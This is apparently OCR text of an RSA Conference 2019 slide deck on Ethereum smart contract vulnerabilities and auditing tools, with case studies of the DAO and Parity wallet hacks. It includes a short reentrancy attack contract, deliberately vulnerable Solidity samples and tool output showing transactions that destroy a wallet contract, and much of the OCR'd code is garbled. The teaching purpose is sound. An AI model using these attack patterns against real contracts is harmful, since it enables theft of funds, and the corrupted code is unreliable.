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When transactions aren’t enough

#RSAC

“The key component is
this idea of a Turing-
complete blockchain”
--Vitalik Buterin
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Meow—putting that computing power to use?

no " -0

-7 #Rrsac
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Smart contracts
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Millions of reasons to hack smart contracts

Stephan Tual ( Follow )
Slockit Founder, Blockchain and Smart Contract Expert, Former CCO Ethereum
Jun 12+ 3 min read

No DAO funds at risk following the

%

Ethereum smart contract ‘recursive call’ —=
bug d iscove ry WIEERE A$50 Million Hack Just Showed That the DAO Was All Too Human BAR | Ty THC I R o

Qur team 1s blessed to have
Advisor. During the early d
to his guidance we were m;
Ethereum smart contracts.
“recursive call vulnerability

as can be seen on line 580:

A $20 MILLION HACK JUSI

S SHOWEDTHATTHEDAOWAS (RN
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Problem isn’t going away

BT

#Candidates Candidates % of
Category flagged without #Validated true
(distinct) source positives
Prodigal 1504 (438) 1487 1253 07
Suicidal 1495 (403) 1487 1423 99
Greedy 31,201 (1524) 31,045 1083 69
Total 34,200 (2,363) 34,019 3,759 89

Table 1: Final results using invocation depth 3 at block
height BH. Column 1 reports number ot flagged contracts,
and the distinct among these. Column 2 shows the num-
ber of flagged which have no source code. Column 3 1s
the subset we sampled for concrete validation. Column 4
reports true positive rates; the total here 1s the average TP
rate weighted by the number of validated contracts.

#RSAC
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Solidity

#RSAC
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Dev tools

¢ _sol files > bytecode > blockchain

e Atom with plugins:
— language-ethereum
— etheratom

e Remix: browser based

#RSAC

puzzle.sol — ~/Google Drive/ presentations,/ Defcon/backup — Atom [x]

File Edit %iew Selection Find Packages Help

~fGoogle Drive/presentations,/Defcon/backup/puzzle.sol

1M

Ethereum Interface

Javascript Wi

Backend ethereum node

40ades

Compile

LF  UTF-8  solidicy =) 0Ffiles
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oyente and Manticore

@ >[ CFG Builder | Al Visualizer

CORE
AMNALYSIS

Ethereum
State

EXPLORER

1

Z3 Bit-Vector Solver

MANTICORE
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MAIAN

Compiling Solidity conmtract from the file examplu :ontracts!Farnﬂa
Connecting to PRIVATE blockchain Eﬂ'lptjl’l::h!lll BL o
Depleying contract .... confirmed at ac 5
Contract code length on the blackshain
Contract address saved in file: ./ out/wWalle:
Check if contract is SUICIDAL

L

tLibrary.sol ...

=l
=l
m

mEEmEE |

; BxPES3G2IGABF228BaT7R6LCHALATAALCDYBDLAL30S

Contract bytecede : SP4Q04B4A526004341061811d574000357c01000RA02020008A, ..
Bytecode length 14528

Blockehain contract: True

Debug : False

Contract address

[ ] Search with call depth: 1
[ ] Search with call depth: 2

11311111113333313121212313
11122222222222222322222 321222222023 222222222 22212222

[=] Suicidal wulmerability found!

The following 2 transaction(s) will trigger the contract to be killed:

=Tx[1] :esbdefel BRABABRECRRRRRRRERRRRRARR22CRCRRRRARECERRRARACECERRRRARIRRCRERLE AO002R0RR0R220R
RERRRORREERARARARRRRRRRRRRRRCRRERERORRRRRARRRAREE BERARA BEEBRARE ERERRRRERERERERRRRRERRERRRRRRRR
ELERETREE TR

=Tx[2] :cbféb@c

The transactions correspond to the functions:
-initwWallet(addressl],uint256,uint256)

-kill{address)
[ ] Confirming suicide wvulnerability onm private chain ... ..... tx(@) mined ........ tx[1] mined
Confirmed | The contract is_suicidal !

MALAN v1.0 +
Type of contract code Fun

* Solidity source code Contract namse  WalletLibrary ¥ Check on Prodigal
' Bytecode source ¥ Check an Suicidal START
™ Bytecode compiled ¥ Check on Greedy

/sl Wallet - Check on PRODIGAL =]
{ Multi-sig, dasly-limited account procywalle Vulnerability found

e Vulnerability confirmed

i/ Gay Wod <giidethde.ooms ulnerability confirmed

! inheritable "property” contract thal enables methods 1o be (see the |Dg below)

probected by requirieg the acquiescence of either a

i waple, of, crucinlly, each of o sumber af, designated swners

i A Chﬂﬂk on SUICIDAL

e modifions onbyowner (just own camied) or Vi srability foun

onfymaryownersihash), whereby the same hash must be provided ulnera Illt‘-" fou I__d

by Vulnerability confirmed

i some namber (specified in constructor) of the set of owners isee the |Dg below)

{ipezified in the canstnsston, smedifiable] before the

! e 4 caecuted

Check on GREEDY
soludity “0.45, ek

e Not vulnerable |
fni\:ﬁ::::;\.:ﬁ:ﬂr'fwulh-l VISR PSSP PSS S B P RIS S\ RE LS PR EE IS SIS FS S BESNS S _."_J

- 4, g md!
/1 this contract ealy has six types of events: it can accepd a H ol vooritel by, g

coanfirmation, in which case
{1 e pecosd ewner and operation (hash) aloegside i
evert] Cosfiemabionisddieis owner, byledl] eporalnan

The following 3 transaction(s) will trigeer the contract bo be kilked
Taf1] :edbdetech
AN D M R MO A A s D O SM OO DHORE D0

evert Revako{address owner, bytea32 operasbion];

'} some pthers are i the case of an owner changing.

Tx|2] :chbiohoon
event OamerChanged{address oldCwner, address mew{ramner); 2]
evint Drameihddudladdoess nawOvimir) =] The tranasstions eoreespand ta the functions:
indWalletisd dresn| Luirt 356 uin F56)
. -kill{addiress)
Settings

[ | Confirming suicide vulmerability on private chain ...
3 tx] 1] mirsedd
Canfirmerd | The contract s sancidal !

x| 0] miireeed
Max function invocations

Solver timeoul {msec) 10000

To keep MAIAN free and up to date, consider donating Ether to our account: Oxfd03b29b5c 2018788 36a3b35T 1835 1adf24f4a06
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Methodology

¢ Interview devs

e Review .sol file

® Try compiling

e Dissect code flow

® Run oyente (cross fingers)
® Run Manticore

¢ Run MAIAN

¢ Manually check for following vulns...

BT@ RSAConference2019



Reentrancy

contract ReEntrancy {

mapping faddress == uint) private expendableTokens;

function stealTokens() public {

#RSAC

uint amountTolLose = expendableTokens[msg.sender];

it (!'{msg.sender.call.value{amountToLose) ()))
expendableTokens[msg.sender] = 0;

throw: }
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Leave off the first “re-" for savings

contract Entrancy {

mapping (address == uint) private expendableTokens;

function stealTokens() public {
uint amountTolLose = expendableTokens[msg.sender];
expendableTokens[msg. sender] = O;
if (!({msg.sender.call.valuelamountToLose) ()1} { throw; }

BT@ RSAConference2019




Writing a contract to attack a contract

import “"ReEntrancy.sol™;
contract ContractAttack {
ReEntrancy r;
uint public count;
event PayMeOnRepeat{ulnt c, ulnt balance)};
function ContractAttack{address wictim) {

r = ReEntrancy(victim};

function steal()
r.stealTokens();

function () payable {

count++;
PayMelnRepeat{count, this.balance);

A it {count < 16&8) {

BT Q r.stealTokens();

#RSAC
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Reentrancy (and irony) in the dao code

" Burn DAD Tokens
TransTerimsg.sender, O, balances[msg.sender]),

and g2et his rewards

wlLhdrawRewardrForimsg . sendery; 7/ be nice,

totalSupply -=

paidiut [msg . sender] = 0O,
return true:

#RSAC
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Default public — Parity wallet hack

EE [Wa -104,7 +104,7 @d contract WalleftLibrary is WalleftEwents {

df constructor is given number of sigs reguired to do protected "onlymanvowners" fransactions
dFoas well as the selection of addresses capable of confirming them,
- function initMultiownediaddress[] _owners, uwuint _required) {

+  function initMultiowned{address[] _owners, wuint _required) internal {

m_numdwners = _owners. length + 1,

Mm_owners[1] uintimsg. sender);

m_ownerIndex [uintimsd. senderi] = 1;

ﬂ? @ -198,7 +193, 7 W@ contract walletLibrary is wallefEwvents {

3

A constructor - stores iniftial daily limit and records the present dav's index.
- function inithaylimit{uint _limit) !

+  function initDhaylimit{uint limit) internal |

A constructor - just pass on the owner array to the nultiowned and
Ao the limit to dawlimit
- function initwallet{address[] _owners, uint _required, uint _daylimit) {

+  function initwallet{address[] _owners, uint _reguired, uint _daylimit) only _uninitialized |

BT@ RSAConference2019




In

itWallet

carmments

Transaction Information

TxHash:
Block Height:
TimeStamp:
From:

Ta:

“alue:

Sas Limit:

Gas Price:

Fas Used By Tun:

Actual Tx Cost/Fee:

Cumulative Gas Used:

Monce:

Input Data:

DxYdbflE26a03a2a37 19c27 bedfabYaaccH857 {231 abdYdcaededbblB3def Sec
A045500 (28739 block confirmations)

G days 5 hrs ago (Juk13-2017 12:18:15 PR +UTC)

[xb376E4761 e297 daf1 2179032655829 cd 1 ddb4 d32 (MultisigExploit-Hacker)
Contract Oxbec591de75haE99a3ha52107 342852 2d0bic0d7 e €0

0 Ether ($0.00)

82703

0.000000021 Ether (21 Gwei)

GE339

0.001403619 Ether ($0.29)

1283734

]

Toaols & Utilities

Function: initWallet (address [ e TRE gk ot M o=Ta (ThR o-Ts X
Uint256 _daylimit] #*+*

MethodID: COxedédefeb

(ch R elelelelelelelelelelelelelelelelelelelelelelelelelelelelelelelele el alelelelel elelelele el elelelele el ele]
QEOEA0G0

(W clelelelelelelelelelelelelelelelelelelelelelelelelelelelelelelele el elelelelel lelelele el elelelele el ele]
elelelelelelele] M

| PO T T T T T T o T o o T o T o T T e T o T T o oo oY M = o e e P e 2

-
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execute

Internal Transactions Event Lons camments

Transaction Information

TxHash:
Block Height:
TirneStarmp:
From:

T

alue:

Gas Limit:

Gas Price:

Gas Used By Txn

Actual Tx Cost/Fee:

Curnulative Gas Used:

Monce:

Input Data:

Oxeef10fc5170BE9006 4 cd04 44552496057 221 325f0bf2f0d6 188633387 bet o
4043302 (28738 block confirmations)
G days 5 hrs ago (Jul-13-2017 12:19:36 Ph +UTC)

Oxb37E47ETe297 d6f1 217032265829 cd Tddba 532 (MultisigExploit-Hacker)

@, Contract Dxbecsd1 de?Sh8E39a3bas 207 34 28522d0bic0d7 e €

TRAWNSFER 22,189 Ether to— Dxb3764751 2207 d5124 ..
0 Ether ($0.00)

78926

0.000000021 Ether (21 Gwei)

53433

0.001227093 Ether ($0.25)

1621581

G

Tools & Litilities

to, uintz5&

MethodID: Oxb&ld27fG
[G] : GEEECGGEEEGGGEE0E0G0E03000 3784 761e 207d6T1 21278 32365820
1ddbad32

[1]:@000000000000000000000000000000000000000008011 677980803
24140000 h

L T I Y T F T T e Y F R e E  F e M R M P P e W e T P Y Y e

Comvert To Ascii

-

#RSAC
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Parity multisig wallet hack 2

devops199 commented 22 hours ago - edited

| accidentally killed it.

https.//etherscan.io/address/0x863dfebfad469f3ead0besfof2aaed1c81a907b4

#RSAC
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Parity 2 transactions

BT

Function: 1nitWallet({address[] _owners,

_daylimit)
MethodID: Sxed&dcteb

HER0AERREEARER0A8RREERARER008RREEAREE0A8RREERAREE0A8RAERAREER88R6E

R T T I T T T T I N T T T o I N

5 FI el Sl e S e e e e S e S e e e e e e S e S e SR s e e e S e s S e S e S e S e e e S S EI

2 I::I Rl s e s e e e e e e e e e e e e e s e L e s e e e e s S s e e e e e e s e e e S e L e s e e s e e S 5 EI

T e e T e e e a a a h h  h hat a a a h h ha  r a  h h a h ha a h  a a h ha r ha ha

- I-1 Sl e e Gl el el e e e e e e e e S Sl e e e e e e e e e S Gl e e e e el e e e e S e el el e e el e e e e S S el e e el e E e '

DEAERRAEA8A8588R8 0808885080888 8 0808880808588 8080R880885888808 1

1880888088 00858008800880083e7168debE 258624 fee37do987a0971b385b95052

Function: kill{address to)
MethodID: &xcbfébbcE

[ﬁ]'ﬁﬁHHHHﬁHHﬁHHHHHHﬁHHﬁHHﬁH

de

r
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Not going with the (over)flow

2256 -1

BT

R
N

Y000
P R N D Lz L

#RSAC

J OpenZeppelin / zeppelin-solidity

<> Code lssues 104 Pull requests 49 Wiki Insights

Branchi master > | zeppelin-solidity / contracts / math / SafeMath.sol

Jﬂ frangio Update to Truffle 4.1.5 and Ganache 6.1.0 (#876)

7 contributors f‘ g EEB

49 1lines (42 slaoc) 1.12 KB

pragma solidity ~@.4.21;

J(**

* @itle SafeMath

* @deyv Math operations with safety checks that throw on errar
i

library SafeMath {

o
* @dew Multiplies two numbers, throws on overflow.

e

Function mul{uint256 a, wint256 b) internal pure returns {uint256) {

if (a == @) {

return @;
H
uint256 ¢ = a * b;
assert({c f a == b);

Fatien e

RSAConference?019
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Unchecked send in king of the ether

l:hll.

| . |
" C 1Y | B GitHub, Inc. [US] | hittps://github.com kieranalby KingofTheEther Throneblob A0, 4.0 fcont
! II'I?' uint compensation = wvaluePald - wizardCommission;

1f (currentMonarch.etheraddress !'= wizardaddress) |

Jsendicompensation);

1 elzse {
A when the throne 1s wacant, the fee accumulates for the wizard,

BT!\ RSAConference2019




Unchecked send

if EhiﬂqﬂanqiﬂanﬂP &5 'L compensationSent )o) 4
monarch.send {50:
CDmpEﬂSEtlDﬂ:Eﬂt = True;

if (kingOflLosingDone &é&
it (monarch.send(500) )

'{ compensationsent J )

compensationSent = True;

else throw:

#RSAC
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Gas limits

BEST BLOCK UNCLES

E!  AcTIVE NODES GAS PRICE

BLOCK TIME DIFFICULTY

UNCLE COUNT TRANSACTICNS

ATTENTION!

() bitwest

g LAST ELOCK
Y5ao
\) b C]t)o

GAS LIMIT

BLOCK PROPAGATION

GAS SPENDING

g4-linux-gnufrostcl, 17,0

() chfast.golem stable-10a45cbS/linweamdBdfgol.2.3

GAS LIMIT

467 871,074,

467 871,074 ¢

2 af the ethereum netwaorl

#RSAC

645 ms 100%

176 ms 100%
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Withdraw don’t send

contract SendContract {
address ublic richest:
uint public mostSent;

function SendContract() payable {
richest = msg.sender;
mostsent = msg.value;

function becomeRichest() payable returns (bool) {
it (msg.value = ]
richest.trans

richest

RSAConference?2019
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Withdrawn not sent

contract withdrawalContract
address public richest;
uint public mostSent;

function becomeRichest() payable returns (bool) {
if (msg.value = mostsent) {

pendingwWithdrawals[richest] += msg.value;
richest ;

mostsent

return

L oelse

mapping (address == uint) pendingwWithdrawals;

function wWithdrawalContract() payable {
richest = msg.:PndPr

most=en sq.value;

returmn

function withdraw() {
uint amount = pendingwithdrawals[msg.sender];
ppﬂdinumlfhdrdmdl_[m:q sender]
msg.sender. transter{amount) ;

BTQ\ RSAConference2019




Transaction-ordering dependence

contract Puzzle{
address public owner;
bool public locked;
uint public reward;
bytess?2 public diff;
bytes public solution;

function Puzzle(){
owner = msg.sender;
reward = msg.value;
lLocked = false:
diff = bytes32(11111;);

function(){
if (msg.sender == owner){
if (locked) throw;
owner.sendireward) ;
reward = msg.value;
I
else
if (msg.data.length = ©){
if (locked) throw;
if (shazs6imsg.data) < diff){
msg.sender.send(reward) ;
solution = msg.data;
lLocked = true;

ki
RSAConference?2019




Transaction-ordering dependence

contract Puzzle{
address public owner;
bool public locked;
uint public reward;
bytess? public diffT;
bytes public solution;

function Puzzle(){
owner = msg.sender;
reward = msg.value;
Locked = false:
diff = bytes32(11111);

functioni){
it (msg.sender == owner)
if (locked) throw;
owhner.sendlreward) ;
reward = msqg.value;
I
alse
if (msg.data.length = 03
if (Locked) throw;
if (shazs6imsg.data) = diff){
msg.sender.send{reward) ;
solution = msg.data;
locked = true;

}

RSAConference?2019
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Call-stack depth limit

INFO: symEx
INFO:svmEx
INFO:synEx

============ Results ===========
EVHM Code Coverage:
Parity Multisig Bug Z:
CatlEracl Depth freanlk WNiplknstrahi iy
[TOD) :

(V]

(Nn]

n
1

il
i

i
|—|
m o m

INFO:syvnEx
INFO:syvnEx
INFO:syEx
INFO:symEx
INFO:symEx

Ly

1]
|—|

Ly

e

=1 =1 S 1 L
(1]
|_|
m 1 MM m A

—————— 01 r2lis Completed =

m m M m M m m m

‘ Ethereum &
W  @ethereumproject

Following v

Announcement of imminent hard fork for
EIP150 gas cost changes:

Announcement of imminent hard fork for EIP150 gas cost...

During the last couple of weeks, the Ethereum network has been
the target of a sustained attack. The attacker(s) have been very
crafty in locating wulnerahilities in the client implementations as...

blog.ethereurm.org

dl
-

228 PM- 13 Oct 2016
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Variable or function ambiguity

Flayer[] public persons;

uint public payoutCursor Id = ©;
uint public balance = ©;

address public owner;

uint public payoutCursor Id=0;

while (balance = persons[payoutCursor Id ].deposit / 100 * 11%) {
uint MultipliedPayout = persons[payoutCursor Id ].deposit / 1oo * 115;
persons[payoutCursor _Id].etherAddress.send(MultipliedPayout);

balance -= MultipliedPayout;
payoutCursor Id ++;

RSAConference?2019




Odds and ends

¢ Timestamp dependence
e Business logic flaws
® Encryption

e Separating public/private data

: 8. :-Fllll't(" "};

.words = a.length;

var a = 9,
b.replace(/ +(?
=[], a = 8;a
inp_arraylal, use_
input_words = a.
< b && a.splice

-1 < b &8 &N
} function usy ai
nction czy_juz_.

break; } ¥

return function{L_

) { as+="" b
b.length;;) {

CLirn d; } »

#RSAC

b. length - 13 return c;
fa[c], b) && b.push(a[c])
\ val{}, b = b.replace(/

1] .use_class =
yicSort("use_class™

wword(a, void 0);

b} function repl

e =0, d = 0;d

= & cC = @3¢ €

= -1, d = 9;d <
Inction dynamicSort(a
turn{c[a] < d[a] ? -1

(e >= h.length} {
- indexOf(b, ), © <= ) {

futton™).click(function() {

in(a, 200), a = Math.min(a, par5e1nt(h() unlque)), lim

RSAConference?2019



Prepping for the future...

BLOCKCHAIN

HTML CSS .JAVASCRIPT

LOCAL STORE

7 #rsac
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Real-time blockchain protection

Wi a8 aph T ¢ B rarsomeane wider ondefined Nodes, undefined Links. =& Sub Graph Z04 Mod

#RSAC
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Get involved

® Master Solidity
e Experiment with smart contract hacking challenges online

e Now that we’re done with the coin-price craze, companies are
doing practical things with this technology

® Enterprise Ethereum Alliance member companies are a great
place to start

BT@ 34 RSAConference2019
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